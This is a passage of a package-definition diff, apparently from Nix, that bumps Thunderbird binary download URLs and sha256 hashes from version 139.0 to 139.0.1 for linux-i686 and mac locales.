       arch = "linux-i686";
-      sha256 = "8fcb3cf417fcb53db3c4a3b69dc84b55a683f2718c233c2d845baa2495b93605";
+      sha256 = "62372bac20ba2ddd6a973b6ff82ea558ac1c4eb0f2f1803e5261530444677427";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/pt-PT/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/pt-PT/thunderbird-139.0.1.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "b560c4e55cc27aa479ff8625d6b821b070a292bfd175cb15c0b7c6ff222d6e80";
+      sha256 = "3a39a50b1815d105e063fb74f5cfe056950efa0cd962aa8552eb431370cb409a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/rm/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/rm/thunderbird-139.0.1.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "582d287e7b294be741bcae607ab92acc33972470188a79d35a6a342331d2af10";
+      sha256 = "9e98ecb9ac3984fd06079224342a9378178194b50d71767f4e1a74c37e9d652b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ro/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ro/thunderbird-139.0.1.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "141ffe063241c269782dab044e7e846a47964da6f56090a76a4989e8df3aa328";
+      sha256 = "f0f2ea3eb5c9e5ba7071017751823e985ccb64180e6e61be6f273188a7821c6b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ru/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ru/thunderbird-139.0.1.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "7e15e6e55347b42077bfd9c9969132bd9996922303d77a33e8378567006c4fe1";
+      sha256 = "5abab4897a49ccff9c876f0ac82c86b84594c47360f0074b3f21718cf1cb5265";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/sk/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/sk/thunderbird-139.0.1.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "02aca9611988eaf7a953f7ea47ea2384d4363c1f9084554267aa642369b501c1";
+      sha256 = "2990823b23c7efd3cb99cbfc212220a45c518c2fb38a3b49e018f797144d5746";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/sl/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/sl/thunderbird-139.0.1.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "e5c1aa1838e39862efa394d98d8b37f593671439ea5c9c18956bbbcf4b55f15e";
+      sha256 = "248c141ccd386f574e4ab1f59251928b8c28200e3f15fcca06385f0100d71798";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/sq/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/sq/thunderbird-139.0.1.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "835dda20f6b4980ff2d52b49798fc7efb8467bbeb813c5c3f8fc30c150e432c1";
+      sha256 = "ee3b6156e925f1fbf656f2fbd3a21cb688868926904965f5756d77f6d1df364f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/sr/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/sr/thunderbird-139.0.1.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "5ea1613af7f48a427d57090b39ff14866143c9902e327e77904051360b8ba583";
+      sha256 = "eae2ce007c5f3451ab15905611c7cdea5112af6c4125150388fa051fa579bf8c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/sv-SE/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/sv-SE/thunderbird-139.0.1.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "4973656b71e5efd38ff9d9a3acaa68a6dc4fed01b5bdb1ec56d2a4ce1961e268";
+      sha256 = "e220ace1491c8aff485ada18a8b8f57065a2bb907a678edf6f4aeda627b37dfa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/th/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/th/thunderbird-139.0.1.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "3305793dc3c1dab070e5b4eeefbc9c86725f9555741fbed592f92287214d5b3a";
+      sha256 = "8545c0b560b4909fc985e791aecd69a2eb1f1e09ea04eb5eeb06d62dfe8c37fd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/tr/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/tr/thunderbird-139.0.1.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "cf1537022ae7d25bfe943736ced0160b83678a993e58c1c0654718db70db7369";
+      sha256 = "eee4422497529c33ba38b9e928f14b67c73f67e0da7ed4b90e008616d5d8e205";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/uk/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/uk/thunderbird-139.0.1.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "e34a9ff79d458fc8fe1eb6b62acfcf20d3ae0746076f221d3abf1e2f33b63a45";
+      sha256 = "b07991e0b33b990f84eea8decfdf7fe9020a6f74672eab994e3e1591c647cf69";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/uz/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/uz/thunderbird-139.0.1.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "0730b7af5c94498a6096f5d3106cc70c09d16e9b1ac21a3bcbd6a48d071f5c03";
+      sha256 = "6fdf34541ad0111a6fe9aa8e9eb16daa413bdf5bfb5e41e49ef8807546567b05";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/vi/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/vi/thunderbird-139.0.1.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "734729613deaa930e85bf595f329f81f096da247bf3c6f6203bd56e5551bb0c8";
+      sha256 = "757ae40ca55b81817a3596ba5af22ca26a0fb9383634f01a801f8b9906ac2568";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/zh-CN/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/zh-CN/thunderbird-139.0.1.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "904ccfbb390e6e52bc1258e4bf11210ea8fe28f611437d12e7b92d9ae5d0fe1d";
+      sha256 = "61734c2a06fea3ba63db28d8952883085be503293cd4b589066d0dc9becf6e3f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/zh-TW/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/zh-TW/thunderbird-139.0.1.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "34382b81709683099227e2654edcd7cd836a998dd36342f2e37ee07bd1fc29e0";
+      sha256 = "5b20016318f3a1a01163666d6b4b3a495972715dc51bdc9a658558459804572d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/af/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/af/Thunderbird%20139.0.1.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "8839a216be481b6430cc42d88e49d4a6d8eefb400599493bf41ed4724ce041c1";
+      sha256 = "661a3509839a2c8528d88d45086d495c4f60dfec5dd7784731fc63951fe817a7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ar/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ar/Thunderbird%20139.0.1.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "62598cb9fa7396d4288e9f3f41e6b24b439d7fe2ba02f05b3c470f53f29099f9";
+      sha256 = "a0eb721094ce8141b7a95fe4a318255b31341d37bfd2ecb5e152318ff6c702ec";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ast/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ast/Thunderbird%20139.0.1.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "9c086ae45194409c8a08ad420118c33f501f6989d0056a42df38e97934e693d7";
+      sha256 = "50493c0f36dd00a224f4393e19c3007a6c2e0be8bcf39b81f53bbf23b152c73d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/be/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/be/Thunderbird%20139.0.1.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "a36623cb54965e718e070453219b2e3ab019c97b22588ffcf2f02ae018aeaaf4";
+      sha256 = "48d23b968e688534e5da70fb00d06b321d3b99f8b1ea70e80d43cc045bacb339";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/bg/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/bg/Thunderbird%20139.0.1.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "8267b91946df77a974f1d3917beaf68b34bc949fa3cd6331b0be918ecff06906";
+      sha256 = "ad7a1abd20bf57b7794a82aa414eba24dab6c5f0ed90cec647116244c67d0e58";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/br/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/br/Thunderbird%20139.0.1.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "5e50fbdb23946562306f6c3dc90d09f00e756d28ff2da3ad8147365acbe4a39a";
+      sha256 = "fcbe9bba3b2740ff1b7a7705b943114519d0ac6ffd933a1691424ffb2a9f6149";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ca/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ca/Thunderbird%20139.0.1.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "602097919baf8f3c040801a58fc96fe84ac41f44fc340f4e0cc52d41f48366c7";
+      sha256 = "850e128fa531f7a0ebf63a1dfe02a5851d2dc6433f4e4383eb51e2622eb12f19";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/cak/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/cak/Thunderbird%20139.0.1.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "a86ae4b7906bad48cae83999eec561f48658d520d9d0f66e4fc69adfb089e532";
+      sha256 = "2c599e9ab0da698e4ef8a00cea507e88333473e5fc4732b84579899b58a6049d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/cs/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/cs/Thunderbird%20139.0.1.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "d0863dd356169fdd7bd39a3e074f07c734a105192d820a81f07c5c11366727a7";
+      sha256 = "150b3544b400a60f047897b6d0b2e4d76c7f450d5588b516a2827c481e0e8aa2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/cy/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/cy/Thunderbird%20139.0.1.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "c69e70b0eb95c2803696872280168f492c76fdb5f2cdc80b4cbf0be3050a2692";
+      sha256 = "8ecbebdbdcd899dba6d035b26373c0c20c34dbda0508d1d81301d7ca6339841a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/da/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/da/Thunderbird%20139.0.1.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "3f49ef88b986f91a8fe2fde725ae69a34c716acd1d332c38b4152745681305df";
+      sha256 = "067f1fca4f8740c9375df4031dff3107337cad5aec8bb444acb66950588fe37b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/de/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/de/Thunderbird%20139.0.1.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "57d2e361f7a9e71ac581ef135df1ec7e55b541b8e9a3c9a444b313f575aeeb31";
+      sha256 = "9548cb9469b55156d9ec760b3e7a8aba8557b9a097245b64b2f49a89d096548f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/dsb/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/dsb/Thunderbird%20139.0.1.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "1edb7d0749919f203481997e779ddd892633d78596991bb3d6fb78048a6a4f97";
+      sha256 = "c944cf3cc258f3b31127cb14f1c7c44daa90c81f286626aa7ae82834f2ea2110";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/el/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/el/Thunderbird%20139.0.1.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "316344df75d62012a8ba4880691d78ba5cc812cb74f3f8e9985bef5b85f10580";
+      sha256 = "b2ff0d8fc32b62ed70907fc05abef5a6ce4b7eed9ffc76a12377535b2f0f0bcd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/en-CA/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/en-CA/Thunderbird%20139.0.1.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "7e2f899e87268da61298eb95c3058686da3b3ec78e1d380aaa7ca7063fdc791d";
+      sha256 = "282c67c46c789b14bcf09f131ee0b534dd5f0c9f391466b3674589d212704c1f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/en-GB/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/en-GB/Thunderbird%20139.0.1.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "4054b05073d8667b4f57a9e4d20dfaa3562cf62f88c422bd8f5106a0a60c6619";
+      sha256 = "ce9cea3ce87bceff71814463750c4f889396f04910f3b03db709411e16f7de2f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/en-US/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/en-US/Thunderbird%20139.0.1.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "e86605582eaa95be9c553bae02d18ba6f6a2a1fd0f6f61139f7b63632fa9db4f";
+      sha256 = "89b88d943d7711a459d2f22c0a664edea203cc9c543b93e2a08b0cc5d33c690b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/es-AR/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/es-AR/Thunderbird%20139.0.1.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "a190e4c5694c519f59a21b26808a423ba8a68987e08927445aee8fb668316f5e";
+      sha256 = "b53f67cc46402fb29dd4772630b774ff6b3a99eb429888dfe735d8fc0c433079";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/es-ES/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/es-ES/Thunderbird%20139.0.1.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "cad06901502a5c80284e690115b8f0b81066c766b9a0917b35b8044733a6611a";
+      sha256 = "d2df07b9b7eeba3d9534a4fe552236f651fd026e6cbcaaecc0e84eefbaa7f6bc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/es-MX/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/es-MX/Thunderbird%20139.0.1.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "806e8534d6c859219dbff8f86c2bb7ecb71c6d66a845187c5f78f6a966aea038";
+      sha256 = "e7427041a8cfda400e22c621af2578bbd76bc623bb98b2cccf3757610eb6ae38";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/et/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/et/Thunderbird%20139.0.1.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "8f8726bf3c85709d1d6290118743a7c7a0d5a285c89e78ce7a00a0fb0ed86bdb";
+      sha256 = "c6aeb1c175e7d77929c3484e90f18abd4daa0700da910e57429bcffdf71d41ce";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/eu/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/eu/Thunderbird%20139.0.1.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "20292453d67b2e62f80f969150b1cbe6c6500e38e8a7e0b373e3b48401688347";
+      sha256 = "334ae939efdc4ae2f0f2d675dccef95524c87e689c938de0b50a14629486823a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/fi/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/fi/Thunderbird%20139.0.1.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "684fbdf8c215962db439b9e2f5eb5cf4d01c08712cbba5ebaff0bf2ffb560ed7";
+      sha256 = "33cb8559ebf133f6e3eb3ee9e5840686b4da8d25bff089fac6b28622b18500fb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/fr/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/fr/Thunderbird%20139.0.1.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "4d50fc0de08d1a2f4180164cbbdbc5d352da2af24a29c7b87b2bb458af5d9e14";
+      sha256 = "ec5ca14af67be2c6d6d8d234c760791748eb430b7eeab654a20f62a0cf1a3abe";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/fy-NL/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/fy-NL/Thunderbird%20139.0.1.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "98315fe25cb8a15819655117a6eca5c0d2c89f97c8eca1d92520f3f78a4b488f";
+      sha256 = "dd48af792b35c917a09c3f9fde5cf8b3b20087bdaf7008d1526cf8b57c707bea";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ga-IE/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ga-IE/Thunderbird%20139.0.1.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "365f214ea8f447a3fa4b8601568bbb59ccecb5ad6c73e811b246cd36765d5e73";
+      sha256 = "cf41646244e6c703e52eb610df3168c1ef0704064de989ddea367410caa873be";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/gd/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/gd/Thunderbird%20139.0.1.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "d9d0e7488f7f810b01a3f1c51cce9f5b9d47e9319d8b23517ecae307c5dfbe38";
+      sha256 = "46bd390199d094e321af1d713ee25cca147d901f01f3d29b965b2c7fa1a84603";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/gl/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/gl/Thunderbird%20139.0.1.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "9421bc28ac12e09d205dc9f28bdf49497cae24c61d88ec1fc95f69561621092f";
+      sha256 = "11839716ff48d6d0ff577014f458eb414b3af4e367cb46879ea815153fc86732";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/he/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/he/Thunderbird%20139.0.1.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "4341a6b25d6ed307d36379eaf7130a2b867382252d2dcbc950125b1bd69379ec";
+      sha256 = "88453d1c056e620c7c31c88a7d297b8b6927ae9e8c41c34ffec8a1365dfa9fc3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/hr/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/hr/Thunderbird%20139.0.1.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "9e9033f4fd7d804c345f7044fcfdd0aa1438815ecde88074d48e4288d13d396b";
+      sha256 = "e46b5b26b63c07dfa64d659a288179d0995b4382523ba6165190fbe1cd5f5802";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/hsb/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/hsb/Thunderbird%20139.0.1.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "97f398522af49fd23446be9d0fc4061748e13bdf97aca37250ee07c5656e8cf0";
+      sha256 = "a2c69565fc77c164a0924d333412fd9a561236a621bdcf4cddc3e1f19e4d6002";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/hu/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/hu/Thunderbird%20139.0.1.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "67b37f3bb9e7817328ea66c27e82f81ee28bab87b4930999e14c83af2e5aebb1";
+      sha256 = "ab2a91b3a45739f381f3d07f1bb5e01cb3c4e2c8a654d2f5a4b835d3cadc6d1a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/hy-AM/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/hy-AM/Thunderbird%20139.0.1.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "d4d8aa5623ebe32ebcb43b8e056804c70097667c06577234448f1fb8a32a84d6";
+      sha256 = "e46faf2731d1a12aea31a33167af392755d86dfc212b0c2ef9ca207ff8eae6bf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/id/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/id/Thunderbird%20139.0.1.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "fe77069e0e155dc73f4c449ba4d3f63460bad98eeb2ff32a8634b0d00dce3b13";
+      sha256 = "fc0e42111f125bbdf758107b4f8481af99ae71ec19c78c38f646974fe7ac2fa8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/is/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/is/Thunderbird%20139.0.1.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "b6ff29d44ff6a4d4816d64844c53f8472072b1533caf9e66ec20e22163ac421e";
+      sha256 = "e1ec4beb8134566f6328aba816e9791b0a6bbea38009b208382ae0553d61fba6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/it/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/it/Thunderbird%20139.0.1.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "c1301f006607a969bd305f8a690a1bf9264330aa860001ca407f1f5ad225de9f";
+      sha256 = "5e07080c449a3bdd85cf0f5080abe546e4a944e2e88dd9cbfad31d1d0dae43b9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ja-JP-mac/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ja-JP-mac/Thunderbird%20139.0.1.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "ef7e02cee6d6864082b8b9d9843ed8ba73d822a14915b8f7da725737ad050397";
+      sha256 = "067d0f521c9848b911deec91b38acb24c38b1ec08fd985b47d5c82facec274d9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ka/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ka/Thunderbird%20139.0.1.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "d3308e8b30f91c271f4489dc11ed9ca9f91d3078b1b9e687b51993f4d31ce294";
+      sha256 = "fb4ab22ed58e599c6d480a08088a2a3c83b851705cf3ee67e97a899d520e8b57";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/kab/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/kab/Thunderbird%20139.0.1.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "724297f7684512bc32e85c76852a5b931c63eacf55ab87749850c604df85f8c3";
+      sha256 = "31c8c2f9685156946bb7a0ab5d18f43ec03c920957cb62bf2bf4503a1b70b326";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/kk/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/kk/Thunderbird%20139.0.1.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "2cd7799c01adb972e7b8eb3813751d43825067c2cffa786cfc37c3ca0107d7d6";
+      sha256 = "b7103808af2a688694a0fcab4891522f625e7f031234b53b161dc12d81825bf0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ko/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ko/Thunderbird%20139.0.1.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "dcd9e64c281f4d3baeafcd5b750c6d013012e6db5330f086e8e1f35ff16732f0";
+      sha256 = "dd99cb4392a8158bb88eac71e2ca580afd83570661d0bc670668eaf6141663ce";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/lt/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/lt/Thunderbird%20139.0.1.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "00b38e4796be3ec59003add60c8a3cbe19e0263422327ed0e759b3ce4b4576bb";
+      sha256 = "0ba6d6024f37a73dbbcd243166219fc15ecc8397b982933751127e2671e85a6b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/lv/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/lv/Thunderbird%20139.0.1.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "dbec5169ea98ec7e859ebf0688eae3361a0bbb83aeb39c8a73ed4e30ce79bc42";
+      sha256 = "089790305f502958606721170b9232a7f576166c664c8fb04ed78178056362fc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ms/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ms/Thunderbird%20139.0.1.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "718e972521281fb9a5531d4532ada890aa9f1d79a2dc4b7f44c82ea687ef8098";
+      sha256 = "5f167ba545db68f4768a966fadfdad89dc9843e23a638dfe71f5cd4cd9db8c8f";
     }
     {
